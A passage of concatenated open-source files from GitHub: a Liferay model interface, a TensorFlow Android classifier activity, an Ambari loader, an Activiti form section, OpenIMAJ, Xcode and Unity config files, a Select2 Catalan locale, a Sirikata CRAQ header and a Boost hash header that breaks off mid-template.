@Override
public String getUserUuid() throws SystemException;
/**
* Sets the user uuid of this k b template.
*
* @param userUuid the user uuid of this k b template
*/
@Override
public void setUserUuid(String userUuid);
/**
* Returns the user name of this k b template.
*
* @return the user name of this k b template
*/
@AutoEscape
@Override
public String getUserName();
/**
* Sets the user name of this k b template.
*
* @param userName the user name of this k b template
*/
@Override
public void setUserName(String userName);
/**
* Returns the create date of this k b template.
*
* @return the create date of this k b template
*/
@Override
public Date getCreateDate();
/**
* Sets the create date of this k b template.
*
* @param createDate the create date of this k b template
*/
@Override
public void setCreateDate(Date createDate);
/**
* Returns the modified date of this k b template.
*
* @return the modified date of this k b template
*/
@Override
public Date getModifiedDate();
/**
* Sets the modified date of this k b template.
*
* @param modifiedDate the modified date of this k b template
*/
@Override
public void setModifiedDate(Date modifiedDate);
/**
* Returns the title of this k b template.
*
* @return the title of this k b template
*/
@AutoEscape
public String getTitle();
/**
* Sets the title of this k b template.
*
* @param title the title of this k b template
*/
public void setTitle(String title);
/**
* Returns the content of this k b template.
*
* @return the content of this k b template
*/
@AutoEscape
public String getContent();
/**
* Sets the content of this k b template.
*
* @param content the content of this k b template
*/
public void setContent(String content);
@Override
public boolean isNew();
@Override
public void setNew(boolean n);
@Override
public boolean isCachedModel();
@Override
public void setCachedModel(boolean cachedModel);
@Override
public boolean isEscapedModel();
@Override
public Serializable getPrimaryKeyObj();
@Override
public void setPrimaryKeyObj(Serializable primaryKeyObj);
@Override
public ExpandoBridge getExpandoBridge();
@Override
public void setExpandoBridgeAttributes(BaseModel<?> baseModel);
@Override
public void setExpandoBridgeAttributes(ExpandoBridge expandoBridge);
@Override
public void setExpandoBridgeAttributes(ServiceContext serviceContext);
@Override
public Object clone();
@Override
public int compareTo(KBTemplate kbTemplate);
@Override
public int hashCode();
@Override
public CacheModel<KBTemplate> toCacheModel();
@Override
public KBTemplate toEscapedModel();
@Override
public KBTemplate toUnescapedModel();
@Override
public String toString();
@Override
public String toXmlString();
}
|
{
"pile_set_name": "Github"
}
|
/*
* Copyright 2016 The TensorFlow Authors. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.tensorflow.demo;
import android.graphics.Bitmap;
import android.graphics.Bitmap.Config;
import android.graphics.Canvas;
import android.graphics.Matrix;
import android.graphics.Paint;
import android.graphics.Typeface;
import android.media.ImageReader.OnImageAvailableListener;
import android.os.SystemClock;
import android.util.Size;
import android.util.TypedValue;
import android.view.Display;
import android.view.Surface;
import java.util.List;
import java.util.Vector;
import org.tensorflow.demo.OverlayView.DrawCallback;
import org.tensorflow.demo.env.BorderedText;
import org.tensorflow.demo.env.ImageUtils;
import org.tensorflow.demo.env.Logger;
import org.tensorflow.demo.R; // Explicit import needed for internal Google builds.
public class ClassifierActivity extends CameraActivity implements OnImageAvailableListener {
private static final Logger LOGGER = new Logger();
protected static final boolean SAVE_PREVIEW_BITMAP = false;
private ResultsView resultsView;
private Bitmap rgbFrameBitmap = null;
private Bitmap croppedBitmap = null;
private Bitmap cropCopyBitmap = null;
private long lastProcessingTimeMs;
// These are the settings for the original v1 Inception model. If you want to
// use a model that's been produced from the TensorFlow for Poets codelab,
// you'll need to set IMAGE_SIZE = 299, IMAGE_MEAN = 128, IMAGE_STD = 128,
// INPUT_NAME = "Mul", and OUTPUT_NAME = "final_result".
// You'll also need to update the MODEL_FILE and LABEL_FILE paths to point to
// the ones you produced.
//
// To use v3 Inception model, strip the DecodeJpeg Op from your retrained
// model first:
//
// python strip_unused.py \
// --input_graph=<retrained-pb-file> \
// --output_graph=<your-stripped-pb-file> \
// --input_node_names="Mul" \
// --output_node_names="final_result" \
// --input_binary=true
private static final int INPUT_SIZE = 224;
private static final int IMAGE_MEAN = 117;
private static final float IMAGE_STD = 1;
private static final String INPUT_NAME = "input";
private static final String OUTPUT_NAME = "output";
private static final String MODEL_FILE = "file:///android_asset/tensorflow_inception_graph.pb";
private static final String LABEL_FILE =
"file:///android_asset/imagenet_comp_graph_label_strings.txt";
private static final boolean MAINTAIN_ASPECT = true;
private static final Size DESIRED_PREVIEW_SIZE = new Size(640, 480);
private Integer sensorOrientation;
private Classifier classifier;
private Matrix frameToCropTransform;
private Matrix cropToFrameTransform;
private BorderedText borderedText;
@Override
protected int getLayoutId() {
return R.layout.camera_connection_fragment;
}
@Override
protected Size getDesiredPreviewFrameSize() {
return DESIRED_PREVIEW_SIZE;
}
private static final float TEXT_SIZE_DIP = 10;
@Override
public void onPreviewSizeChosen(final Size size, final int rotation) {
final float textSizePx = TypedValue.applyDimension(
TypedValue.COMPLEX_UNIT_DIP, TEXT_SIZE_DIP, getResources().getDisplayMetrics());
borderedText = new BorderedText(textSizePx);
borderedText.setTypeface(Typeface.MONOSPACE);
classifier =
TensorFlowImageClassifier.create(
getAssets(),
MODEL_FILE,
LABEL_FILE,
INPUT_SIZE,
IMAGE_MEAN,
IMAGE_STD,
INPUT_NAME,
OUTPUT_NAME);
previewWidth = size.getWidth();
previewHeight = size.getHeight();
sensorOrientation = rotation - getScreenOrientation();
LOGGER.i("Camera orientation relative to screen canvas: %d", sensorOrientation);
LOGGER.i("Initializing at size %dx%d", previewWidth, previewHeight);
rgbFrameBitmap = Bitmap.createBitmap(previewWidth, previewHeight, Config.ARGB_8888);
croppedBitmap = Bitmap.createBitmap(INPUT_SIZE, INPUT_SIZE, Config.ARGB_8888);
frameToCropTransform = ImageUtils.getTransformationMatrix(
previewWidth, previewHeight,
INPUT_SIZE, INPUT_SIZE,
sensorOrientation, MAINTAIN_ASPECT);
cropToFrameTransform = new Matrix();
frameToCropTransform.invert(cropToFrameTransform);
addCallback(
new DrawCallback() {
@Override
public void drawCallback(final Canvas canvas) {
renderDebug(canvas);
}
});
}
@Override
protected void processImage() {
rgbFrameBitmap.setPixels(getRgbBytes(), 0, previewWidth, 0, 0, previewWidth, previewHeight);
final Canvas canvas = new Canvas(croppedBitmap);
canvas.drawBitmap(rgbFrameBitmap, frameToCropTransform, null);
// For examining the actual TF input.
if (SAVE_PREVIEW_BITMAP) {
ImageUtils.saveBitmap(croppedBitmap);
}
runInBackground(
new Runnable() {
@Override
public void run() {
final long startTime = SystemClock.uptimeMillis();
final List<Classifier.Recognition> results = classifier.recognizeImage(croppedBitmap);
lastProcessingTimeMs = SystemClock.uptimeMillis() - startTime;
LOGGER.i("Detect: %s", results);
cropCopyBitmap = Bitmap.createBitmap(croppedBitmap);
if (resultsView == null) {
resultsView = (ResultsView) findViewById(R.id.results);
}
resultsView.setResults(results);
requestRender();
readyForNextImage();
}
});
}
@Override
public void onSetDebug(boolean debug) {
classifier.enableStatLogging(debug);
}
private void renderDebug(final Canvas canvas) {
if (!isDebug()) {
return;
}
final Bitmap copy = cropCopyBitmap;
if (copy != null) {
final Matrix matrix = new Matrix();
final float scaleFactor = 2;
matrix.postScale(scaleFactor, scaleFactor);
matrix.postTranslate(
canvas.getWidth() - copy.getWidth() * scaleFactor,
canvas.getHeight() - copy.getHeight() * scaleFactor);
canvas.drawBitmap(copy, matrix, new Paint());
final Vector<String> lines = new Vector<String>();
if (classifier != null) {
String statString = classifier.getStatString();
String[] statLines = statString.split("\n");
for (String line : statLines) {
lines.add(line);
}
}
lines.add("Frame: " + previewWidth + "x" + previewHeight);
lines.add("Crop: " + copy.getWidth() + "x" + copy.getHeight());
lines.add("View: " + canvas.getWidth() + "x" + canvas.getHeight());
lines.add("Rotation: " + sensorOrientation);
lines.add("Inference time: " + lastProcessingTimeMs + "ms");
borderedText.drawLines(canvas, 10, canvas.getHeight() - 10, lines);
}
}
}
|
{
"pile_set_name": "Github"
}
|
/**
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
// load needed utils here
require('utils/errors/assertions');
require('utils/base64');
require('utils/db');
require('utils/helper');
require('utils/config');
require('utils/configs/theme/theme');
require('utils/configs/config_initializer');
require('utils/configs/nn_ha_config_initializer');
require('utils/configs/rm_ha_config_initializer');
require('utils/configs/move_namenode_config_initializer');
require('utils/configs/move_rm_config_initializer');
require('utils/configs/move_os_config_initializer');
require('utils/configs/move_hm_config_initializer');
require('utils/configs/move_hs_config_initializer');
require('utils/configs/move_ws_config_initializer');
|
{
"pile_set_name": "Github"
}
|
/**
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.activiti.designer.kickstart.form.property;
import org.activiti.workflow.simple.alfresco.conversion.AlfrescoConversionConstants;
import org.activiti.workflow.simple.definition.form.ReferencePropertyDefinition;
import org.eclipse.swt.widgets.Button;
import org.eclipse.swt.widgets.Control;
import org.eclipse.ui.views.properties.tabbed.TabbedPropertySheetPage;
/**
* @author Frederik Heremans
*/
public class PackageItemsPropertySection extends AbstractKickstartFormComponentSection {
protected Button allowAddingControl;
protected Button allowRemovingControl;
@Override
public void createFormControls(TabbedPropertySheetPage aTabbedPropertySheetPage) {
createFullWidthLabel("This fields represent the package attached to the workflow, containing the contant "
+ "that is associated with the workflow. When used on a start-form, the user can select the initial content. When used "
+ "in a Human Step form, adding and removing items can be enabled/disabled.");
createSeparator();
allowAddingControl = createCheckboxControl("Allow adding content");
allowRemovingControl = createCheckboxControl("Allow removing content");
}
@Override
protected Object getModelValueForControl(Control control, Object businessObject) {
ReferencePropertyDefinition propDef = (ReferencePropertyDefinition) businessObject;
if (control == allowRemovingControl) {
return getBooleanParameter(propDef, AlfrescoConversionConstants.PARAMETER_PACKAGEITEMS_ALLOW_REMOVE, false);
} else if (control == allowAddingControl) {
return getBooleanParameter(propDef, AlfrescoConversionConstants.PARAMETER_PACKAGEITEMS_ALLOW_ADD, false);
}
return null;
}
@Override
protected void storeValueInModel(Control control, Object businessObject) {
ReferencePropertyDefinition propDef = (ReferencePropertyDefinition) businessObject;
if (control == allowRemovingControl) {
propDef.getParameters().put(AlfrescoConversionConstants.PARAMETER_PACKAGEITEMS_ALLOW_REMOVE,
allowRemovingControl.getSelection());
} else if (control == allowAddingControl) {
propDef.getParameters().put(AlfrescoConversionConstants.PARAMETER_PACKAGEITEMS_ALLOW_ADD,
allowAddingControl.getSelection());
}
}
}
|
{
"pile_set_name": "Github"
}
|
/**
* Copyright (c) 2011, The University of Southampton and the individual contributors.
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without modification,
* are permitted provided that the following conditions are met:
*
* * Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
*
* * Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
*
* * Neither the name of the University of Southampton nor the names of its
* contributors may be used to endorse or promote products derived from this
* software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
* ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
package org.openimaj.image.pixel;
import java.util.Comparator;
/**
* Represents a pixel location. This is basically the same
* as java.awt.Point except we can control exactly what goes
* in here to optimise for memory usage.
*
* @author Jonathon Hare (jsh2@ecs.soton.ac.uk)
*
*
*/
public class FValuePixel extends ValuePixel<Float> {
/**
* {@link Comparator} for comparing {@link FValuePixel}s based on
* the natural order of their values.
*
* @author Jonathon Hare (jsh2@ecs.soton.ac.uk)
*/
public static class ValueComparator implements Comparator<FValuePixel> {
/**
* The singleton instance of {@link ValueComparator}
*/
public final static ValueComparator INSTANCE = new ValueComparator();
private ValueComparator() {}
@Override
public int compare(FValuePixel o1, FValuePixel o2) {
return Float.compare(o1.value, o2.value);
}
}
/**
* {@link Comparator} for comparing {@link FValuePixel}s based on
* the reversed natural order of their values.
*
* @author Jonathon Hare (jsh2@ecs.soton.ac.uk)
*/
public static class ReverseValueComparator implements Comparator<FValuePixel> {
/**
* The singleton instance of {@link ReverseValueComparator}
*/
public final static ReverseValueComparator INSTANCE = new ReverseValueComparator();
private ReverseValueComparator() {}
@Override
public int compare(FValuePixel o1, FValuePixel o2) {
return Float.compare(o2.value, o1.value);
}
}
/** The value of the pixel */
public float value = 0;
/**
* Default constructor
* @param x X-location of the pixel
* @param y Y-location of the pixel
*/
public FValuePixel( int x, int y ) { super(x, y); }
/**
* Constructor that takes the location and value of the
* pixel.
* @param x X-location of the pixel
* @param y Y-location of the pixel
* @param v value of the pixel
*/
public FValuePixel( int x, int y, float v ) { super(x, y); this.value = v; }
/**
* {@inheritDoc}
* @see java.lang.Object#toString()
*/
@Override
public String toString() { return "{"+x+","+y+","+value+"}"; }
@Override
public Float getValue() {
return value;
}
}
|
{
"pile_set_name": "Github"
}
|
CONFIGURATION_BUILD_DIR = ${PODS_CONFIGURATION_BUILD_DIR}/CocoaAsyncSocket
GCC_PREPROCESSOR_DEFINITIONS = $(inherited) COCOAPODS=1
HEADER_SEARCH_PATHS = "${PODS_ROOT}/Headers/Private" "${PODS_ROOT}/Headers/Public"
OTHER_LDFLAGS = -framework "CFNetwork" -framework "Security"
PODS_BUILD_DIR = ${BUILD_DIR}
PODS_CONFIGURATION_BUILD_DIR = ${PODS_BUILD_DIR}/$(CONFIGURATION)$(EFFECTIVE_PLATFORM_NAME)
PODS_ROOT = ${SRCROOT}
PODS_TARGET_SRCROOT = ${PODS_ROOT}/CocoaAsyncSocket
PRODUCT_BUNDLE_IDENTIFIER = org.cocoapods.${PRODUCT_NAME:rfc1034identifier}
SKIP_INSTALL = YES
|
{
"pile_set_name": "Github"
}
|
%YAML 1.1
%TAG !u! tag:unity3d.com,2011:
--- !u!21 &2100000
Material:
serializedVersion: 6
m_ObjectHideFlags: 0
m_PrefabParentObject: {fileID: 0}
m_PrefabInternal: {fileID: 0}
m_Name: GareoultWhiteBalanced
m_Shader: {fileID: 103, guid: 0000000000000000f000000000000000, type: 0}
m_ShaderKeywords: _EMISSION
m_LightmapFlags: 1
m_EnableInstancingVariants: 0
m_DoubleSidedGI: 0
m_CustomRenderQueue: -1
stringTagMap: {}
disabledShaderPasses: []
m_SavedProperties:
serializedVersion: 3
m_TexEnvs:
- _BumpMap:
m_Texture: {fileID: 0}
m_Scale: {x: 1, y: 1}
m_Offset: {x: 0, y: 0}
- _DetailAlbedoMap:
m_Texture: {fileID: 0}
m_Scale: {x: 1, y: 1}
m_Offset: {x: 0, y: 0}
- _DetailMask:
m_Texture: {fileID: 0}
m_Scale: {x: 1, y: 1}
m_Offset: {x: 0, y: 0}
- _DetailNormalMap:
m_Texture: {fileID: 0}
m_Scale: {x: 1, y: 1}
m_Offset: {x: 0, y: 0}
- _EmissionMap:
m_Texture: {fileID: 0}
m_Scale: {x: 1, y: 1}
m_Offset: {x: 0, y: 0}
- _MainTex:
m_Texture: {fileID: 0}
m_Scale: {x: 1, y: 1}
m_Offset: {x: 0, y: 0}
- _MetallicGlossMap:
m_Texture: {fileID: 0}
m_Scale: {x: 1, y: 1}
m_Offset: {x: 0, y: 0}
- _OcclusionMap:
m_Texture: {fileID: 0}
m_Scale: {x: 1, y: 1}
m_Offset: {x: 0, y: 0}
- _ParallaxMap:
m_Texture: {fileID: 0}
m_Scale: {x: 1, y: 1}
m_Offset: {x: 0, y: 0}
- _Tex:
m_Texture: {fileID: 8900000, guid: 819f67f916b929f4f9fdd391a19b9f6b, type: 3}
m_Scale: {x: 1, y: 1}
m_Offset: {x: 0, y: 0}
m_Floats:
- _BumpScale: 1
- _Cutoff: 0.5
- _DetailNormalMapScale: 1
- _DstBlend: 0
- _Exposure: 1
- _GlossMapScale: 1
- _Glossiness: 0.5
- _GlossyReflections: 1
- _Metallic: 0
- _Mode: 0
- _OcclusionStrength: 1
- _Parallax: 0.02
- _Rotation: 0
- _SmoothnessTextureChannel: 0
- _SpecularHighlights: 1
- _SrcBlend: 1
- _UVSec: 0
- _ZWrite: 1
m_Colors:
- _Color: {r: 1, g: 1, b: 1, a: 1}
- _EmissionColor: {r: 0, g: 0, b: 0, a: 1}
- _Tint: {r: 0.5, g: 0.5, b: 0.5, a: 0.5}
|
{
"pile_set_name": "Github"
}
|
define(function () {
// Catalan
return {
errorLoading: function () {
return 'La càrrega ha fallat';
},
inputTooLong: function (args) {
var overChars = args.input.length - args.maximum;
var message = 'Si us plau, elimina ' + overChars + ' car';
if (overChars == 1) {
message += 'àcter';
} else {
message += 'àcters';
}
return message;
},
inputTooShort: function (args) {
var remainingChars = args.minimum - args.input.length;
var message = 'Si us plau, introdueix ' + remainingChars + ' car';
if (remainingChars == 1) {
message += 'àcter';
} else {
message += 'àcters';
}
return message;
},
loadingMore: function () {
return 'Carregant més resultats…';
},
maximumSelected: function (args) {
var message = 'Només es pot seleccionar ' + args.maximum + ' element';
if (args.maximum != 1) {
message += 's';
}
return message;
},
noResults: function () {
return 'No s\'han trobat resultats';
},
searching: function () {
return 'Cercant…';
}
};
});
|
{
"pile_set_name": "Github"
}
|
/*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*/
package org.apache.skywalking.apm.agent.core.context.trace;
import org.apache.skywalking.apm.agent.core.context.ContextCarrier;
/**
* The exit span has some additional behaviours
*/
public interface ExitTypeSpan {
String getPeer();
ExitTypeSpan inject(ContextCarrier carrier);
}
|
{
"pile_set_name": "Github"
}
|
/* Sirikata
* asyncUtil.hpp
*
* Copyright (c) 2010, Behram Mistree
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are
* met:
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in
* the documentation and/or other materials provided with the
* distribution.
* * Neither the name of Sirikata nor the names of its contributors may
* be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS
* IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
* PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER
* OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#ifndef __ASYNC_UTIL_HPP__
#define __ASYNC_UTIL_HPP__
#include <string>
#include <sirikata/space/OSegLookupTraceToken.hpp>
#include "CraqEntry.hpp"
namespace Sirikata
{
const int CRAQ_DATA_RESPONSE_SIZE = 70;
typedef char CraqDataResponseBuffer [CRAQ_DATA_RESPONSE_SIZE];
//multi-usef change
//const int CRAQ_DATA_KEY_SIZE = 33;
//typedef char CraqDataKey [CRAQ_DATA_KEY_SIZE];
const int CRAQ_DATA_KEY_SIZE = 34;
typedef char CraqDataKey [CRAQ_DATA_KEY_SIZE];
const char CRAQ_DATA_KEY_QUERY_PREFIX[] = "get ";
const char CRAQ_DATA_KEY_QUERY_SUFFIX[] = "\r\n";
const int CRAQ_DATA_PREFIX_SIZE = 4;
const int CRAQ_DATA_SUFFIX_SIZE = 2;
const int CRAQ_DATA_KEY_QUERY_SIZE = CRAQ_DATA_KEY_SIZE + CRAQ_DATA_PREFIX_SIZE + CRAQ_DATA_SUFFIX_SIZE;
typedef char CraqDataKeyQuery[CRAQ_DATA_KEY_QUERY_SIZE]; //this is what actually goes out to the router.
const char CRAQ_DATA_SET_PREFIX[] = "set ";
const char CRAQ_DATA_SET_END_LINE[] = "\r\n";
const int CRAQ_DATA_SET_PREFIX_SIZE = 4;
const int CRAQ_DATA_SET_END_LINE_SIZE = 2;
const char CRAQ_DATA_TO_SET_SIZE[] = " 12";
const int CRAQ_DATA_TO_SET_SIZE_SIZE = 3; //There are 3 digits in the above.
const int CRAQ_TO_SET_SUFFIX_SIZE = 2;
const char CRAQ_TO_SET_SUFFIX[] = "ND";
const int CRAQ_DATA_VALUE_SIZE = 12;
typedef char CraqDataValue [CRAQ_DATA_VALUE_SIZE];
const char CRAQ_GET_RESP[] = "VALUE12";
const int CRAQ_GET_RESP_SIZE = 7;
//const int CRAQ_THREAD_POOL_CONNECTIONS = 10;
const int CRAQ_DATA_SET_SIZE = CRAQ_DATA_SET_PREFIX_SIZE + CRAQ_DATA_KEY_SIZE + CRAQ_DATA_TO_SET_SIZE_SIZE + CRAQ_DATA_SET_END_LINE_SIZE + CRAQ_DATA_VALUE_SIZE + CRAQ_DATA_SET_END_LINE_SIZE +1;
typedef char CraqDataSetQuery[CRAQ_DATA_SET_SIZE]; //this is what actually goes out to the router.
const char CRAQ_NOT_FOUND_RESP[] = "NOT_FOUND";
const int CRAQ_DATA_GET_RESP_SIZE = 52;
typedef char CraqDataGetResp[CRAQ_DATA_GET_RESP_SIZE];
//const int CRAQ_NUM_CONNECTIONS = 10;
const int CRAQ_NUM_CONNECTIONS = 40;
struct CraqObjectID
{
CraqDataKey cdk;
};
struct CraqOperationResult
{
CraqEntry servID;
CraqDataKey objID;
int trackedMessage; //id assigned to track
bool tracking; //are we tracking this message
bool succeeded;
enum GetOrSet {GET, SET};
GetOrSet whichOperation;
CraqOperationResult(const CraqEntry& sID,const CraqDataKey& obj_id, const int& tm, const bool& suc, const GetOrSet& gos,const bool& track_or_not);
CraqOperationResult(const CraqEntry& sID,const CraqDataKey& obj_id, const int& tm, const bool& suc, const GetOrSet& gos,const bool& track_or_not, OSegLookupTraceToken* ttoken);
std::string idToString();
OSegLookupTraceToken* traceToken;
};
struct CraqInitializeArgs
{
std::string ipAdd;
std::string port;
};
struct CraqDataSetGet
{
CraqDataKey dataKey;
CraqEntry dataKeyValue;
bool trackMessage;
int trackingID;
enum TypeMessage {GET,SET};
TypeMessage messageType;
CraqDataSetGet(const std::string& dKey, const CraqEntry& dKeyValue, const bool& tMessage, const TypeMessage& message_type);
CraqDataSetGet(const CraqDataKey& dKey, const CraqEntry& dKeyValue, const bool& tMessage, const TypeMessage& message_type);
};
}//end namespace
#endif
|
{
"pile_set_name": "Github"
}
|
fileFormatVersion: 2
guid: f22bcc84a5f4a1944b075a2c4ac71493
NativeFormatImporter:
externalObjects: {}
mainObjectFileID: 100100000
userData:
assetBundleName:
assetBundleVariant:
|
{
"pile_set_name": "Github"
}
|
// Copyright 2005-2009 Daniel James.
// Distributed under the Boost Software License, Version 1.0. (See accompanying
// file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)
// Based on Peter Dimov's proposal
// http://www.open-std.org/JTC1/SC22/WG21/docs/papers/2005/n1756.pdf
// issue 6.18.
// This implements the extensions to the standard.
// It's undocumented, so you shouldn't use it....
#if !defined(BOOST_FUNCTIONAL_HASH_EXTENSIONS_HPP)
#define BOOST_FUNCTIONAL_HASH_EXTENSIONS_HPP
#include <boost/functional/hash/hash.hpp>
#include <boost/functional/hash/detail/container_fwd_0x.hpp>
#include <boost/utility/enable_if.hpp>
#include <boost/static_assert.hpp>
#include <boost/preprocessor/repetition/repeat_from_to.hpp>
#include <boost/preprocessor/repetition/enum_params.hpp>
#if defined(_MSC_VER) && (_MSC_VER >= 1020)
# pragma once
#endif
#if defined(BOOST_NO_FUNCTION_TEMPLATE_ORDERING)
#include <boost/type_traits/is_array.hpp>
#endif
#if BOOST_WORKAROUND(BOOST_MSVC, < 1300)
#include <boost/type_traits/is_const.hpp>
#endif
namespace boost
{
template <class A, class B>
std::size_t hash_value(std::pair<A, B> const&);
template <class T, class A>
std::size_t hash_value(std::vector<T, A> const&);
template <class T, class A>
std::size_t hash_value(std::list<T, A> const& v);
template <class T, class A>
std::size_t hash_value(std::deque<T, A> const& v);
template <class K, class C, class A>
std::size_t hash_value(std::set<K, C, A> const& v);
template <class K, class C, class A>
std::size_t hash_value(std::multiset<K, C, A> const& v);
template <class K, class T, class C, class A>
std::size_t hash_value(std::map<K, T, C, A> const& v);
template <class K, class T, class C, class A>
std::size_t hash_value(std::multimap<K, T, C, A> const& v);
template <class T>
std::size_t hash_value(std::complex<T> const&);
template <class A, class B>
std::size_t hash_value(std::pair<A, B> const& v)
{
std::size_t seed = 0;
boost::hash_combine(seed, v.first);
boost::hash_combine(seed, v.second);
return seed;
}
template <class T, class A>
std::size_t hash_value(std::vector<T, A> const& v)
{
return boost::hash_range(v.begin(), v.end());
}
template <class T, class A>
std::size_t hash_value(std::list<T, A> const& v)
{
return boost::hash_range(v.begin(), v.end());
}
template <class T, class A>
std::size_t hash_value(std::deque<T, A> const& v)
{
return boost::hash_range(v.begin(), v.end());
}
template <class K, class C, class A>
std::size_t hash_value(std::set<K, C, A> const& v)
{
return boost::hash_range(v.begin(), v.end());
}
template <class K, class C, class A>
std::size_t hash_value(std::multiset<K, C, A> const& v)
{
return boost::hash_range(v.begin(), v.end());
}
template <class K, class T, class C, class A>
std::size_t hash_value(std::map<K, T, C, A> const& v)
{
return boost::hash_range(v.begin(), v.end());
}
template <class K, class T, class C, class A>
std::size_t hash_value(std::multimap<K, T, C, A> const& v)
{
return boost::hash_range(v.begin(), v.end());
}
template <class T>
std::size_t hash_value(std::complex<T> const& v)
{
boost::hash<T> hasher;
std::size_t seed = hasher(v.imag());
seed ^= hasher(v.real()) + (seed<<6) + (seed>>2);
return seed;
}
#if !defined(BOOST_NO_CXX11_HDR_ARRAY)
template <class T, std::size_t N>
std::size_t hash_value(std::array<T, N> const& v)
{
return boost::hash_range(v.begin(), v.end());
}
#endif
#if !defined(BOOST_NO_CXX11_HDR_TUPLE)
namespace hash_detail {
template <std::size_t I, typename T>
inline typename boost::enable_if_c<(I == std::tuple_size<T>::value),
void>::type
hash_combine_tuple(std::size_t&, T const&)
{
}
template <std::size_t I, typename T>
inline typename boost::enable_if_c<(I < std::tuple_size<T>::value),
void>::type
hash_combine_tuple(std::size_t& seed, T const& v)
{
boost::hash_combine(seed, std::get<I>(v));
boost::hash_detail::hash_combine_tuple<I + 1>(seed, v);
}
template <typename T>
inline std::size_t hash_tuple(T const& v)
{
std::size_t seed = 0;
boost::hash_detail::hash_combine_tuple<0>(seed, v);
return seed;
}
}
#if !defined(BOOST_NO_VARIADIC_TEMPLATES)
template <typename... T>
inline std::size_t hash_value(std::tuple<T...> const& v)
{
return boost::hash_detail::hash_tuple(v);
}
#else
inline std::size_t hash_value(std::tuple<> const& v)
{
return boost::hash_detail::hash_tuple(v);
}
# define BOOST_HASH_TUPLE_F(z, n, _) \
template< \
BOOST_PP_ENUM_PARAMS_Z(z, n, typename A) \
> \
inline std::size_t hash_value(std::tuple< \
BOOST_PP_ENUM_PARAMS_Z(z, n, A) \
> const& v) \
{ \
return boost::hash_detail::hash_tuple(v); \
}
BOOST_PP_REPEAT_FROM_TO(1, 11, BOOST_HASH_TUPLE_F, _)
# undef BOOST_HASH_TUPLE_F
#endif
#endif
#if !defined(BOOST_NO_CXX11_SMART_PTR)
template <typename T>
